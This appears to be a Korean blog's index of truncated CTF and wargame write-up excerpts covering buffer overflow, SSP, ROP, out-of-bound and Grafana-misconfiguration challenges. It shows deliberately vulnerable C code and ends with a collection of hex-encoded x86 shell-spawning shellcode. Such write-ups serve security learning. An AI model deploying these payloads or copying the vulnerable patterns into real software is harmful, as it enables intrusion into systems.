워게임

    Dreamhack - out_of_bound(writeup)

    Dreamhack - out_of_bound(writeup)

    오늘은 out of bound 문제를 풀어볼 것이다. out of boundary 강의에는 생각보다 간단히 적혀있었다. 그래서 어려운 문제면 어떡하지 라는 생각을 했는데, 생각보다 간단했다. 먼저 c코드를 살펴보자. #include #include #include #include #include char name[16]; char *command[10] = { "cat", "ls", "id", "ps", "file ./oob" }; void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM..

    Dreamhack - ssp_001

    Dreamhack - ssp_001

    오늘은 저번에 이어서 ssp_001을 풀어볼 것이다. 먼저 c코드를 확인해보자. #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system("/bin/sh"); } void print_box(unsigned char *box, int idx) { printf("Element of index %d is : %02x\n", idx,..

    Dreamhack - ssp_000

    Dreamhack - ssp_000

    오늘은 내가 ssp를 배운 기념으로 드림핵의 ssp문제를 풀어볼 것이다. 그러면 바로 코드를 살펴보겠다. #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void get_shell() { system("/bin/sh"); } int main(int argc, char *argv[]) { long addr; long value; char buf[0x40] = {};..

    Dreamhack - web-misconf-1

    Dreamhack - web-misconf-1

    오늘은 기본 로그인 시스템이 돌아가는 web-misconf-1을 풀어볼 것이다. 문제설명 기본 설정을 사용한 서비스입니다. 로그인한 후 Organization에 플래그를 설정해 놓았습니다. 일단 문제파일에 defaults.ini파일이 있다. 바로 확인해보자. ##################### Grafana Configuration Defaults ##################### # # Do not modify this file in grafana installs # # possible values : production, development app_mode = production # instance name, defaults to HOSTNAME environment variable val..

    Dreamhack - basic_exploitation_002

    Dreamhack - basic_exploitation_002

    오늘은 드림핵의 basic exploitation 2를 풀어볼 것이다. 일단 먼저 주어진 C코드르 확인해보자. #include #include #include #include void alarm_handler() { puts("TIME OUT"); exit(-1); } void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); signal(SIGALRM, alarm_handler); alarm(30); } void read_flag() { system("cat /flag"); } int main(int argc, char *argv[]) { char buf[0x80]; initialize(); gets(buf..

    HackCTF - ROP

    HackCTF - ROP

    오늘은 hackctf의 rop문제를 풀어볼 것이다. 떡하니 rop라고 되어 있으니 그냥 기본적인 rop 문제일 것같다. 그러면 먼저 main을 디스어셈블 해보자. (gdb) disas main Dump of assembler code for function main: 0x08048470 :lea ecx,[esp+0x4] 0x08048474 :and esp,0xfffffff0 0x08048477 :push DWORD PTR [ecx-0x4] 0x0804847a :push ebp 0x0804847b :mov ebp,esp 0x0804847d :push ecx 0x0804847e :sub esp,0x4 0x08048481 :call 0x804844b 0x08048486 :sub esp,0x4 0x0804848..

    HackCTF - BOF_Basic #1

    HackCTF - BOF_Basic #1

    오늘은 bof_basic 1을 풀어볼 것이다. 먼저 실행을 해보자. 위처럼 실행된다. 그런데 A를 위보다 더 많이 넣었더니 check가 0x41414141(A는 hex로 41)로 바뀌었다. 내 예상으로는 return address가 check인 것 같다. 그럼 먼저 main을 디스어셈블 해보자 (gdb) disas main Dump of assembler code for function main: 0x080484cb :lea ecx,[esp+0x4] 0x080484cf :and esp,0xfffffff0 0x080484d2 :push DWORD PTR [ecx-0x4] 0x080484d5 :push ebp 0x080484d6 :mov ebp,esp 0x080484d8 :push ecx 0x080484d9..

    Shellcode(쉘코드) 모음

    32bit shellcode 6 Bytes Shell Code \x31\xc0\xb0\x01\xcd\x80 25 Bytes Shell Code (기본 쉘코드) \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 26 Bytes Shell Code (scanf 우회 쉘코드) \x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80 41 Bytes Shell Code (setreuid(geteuid(), getreuid()) 포함) \x31\xc0\xb..